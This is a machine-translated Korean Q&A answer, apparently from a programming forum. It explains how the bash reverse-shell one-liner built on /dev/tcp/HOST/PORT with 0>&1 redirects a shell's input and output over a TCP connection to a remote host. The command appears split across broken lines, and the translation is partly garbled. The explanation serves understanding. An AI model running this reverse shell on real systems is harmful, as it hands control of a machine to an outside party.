답변:
이 스 니펫은 bash -i
bash 프로세스 동안 작성된 지정된 호스트의 지정된 포트에 대한 TCP 연결에서 bash ( ) 의 새 대화식 인스턴스를 실행합니다 . 이 연결을 통해 표준 출력 및 표준 오류가 전송 >& /dev/tcp/HOST/PORT
되고 ( ) 이 연결을 통해 표준 입력을 읽습니다 ( 0>&1
— 0<&1
그렇지만 0>&1
작동 해야 함 ).
포트 전달이 진행되지 않습니다. 분명히 어떤 종류의 TCP 서버는 해당 HOST : PORT에서 연결을 수신하고 수락해야하며 방화벽은 연결을 통과해야합니다.
/dev/tcp/HOST/PORT
? 나는 당신이 이름을 HOST
숫자 로 바꾸 었다고 가정했다 PORT
. 그렇지 않으면 bash에서 오류 메시지가 나타납니다. 오류 메시지를 언급하지 않았으므로 오류 메시지가 표시되지 않은 것으로 가정합니다.
0<&1
부분을 소화 할 수 없다 . 나는 그것을 'bash stdout ( &1
)을 가져 와서 bash stdin ( 0
) 으로 파이프하십시오 '라고 읽습니다 . 이 부분이 어떻게 작동하는지 설명해 주시겠습니까?
0<&1
이전의 리디렉션은 >& /dev/tcp/HOST/PORT
fd 1 (출력 리디렉션의 기본값)을 /dev/tcp/HOST/PORT
에 연결하여 TCP 소켓을 열었 으므로 TCP 연결을 파일 설명자 0에 복제합니다 (예 : 동일한 소켓은 이제 fd 0에서도 열려 있습니다. 이것은 동일한 서버에 다른 소켓을 여는 0 </ dev / tcp / HOST / PORT와 다릅니다.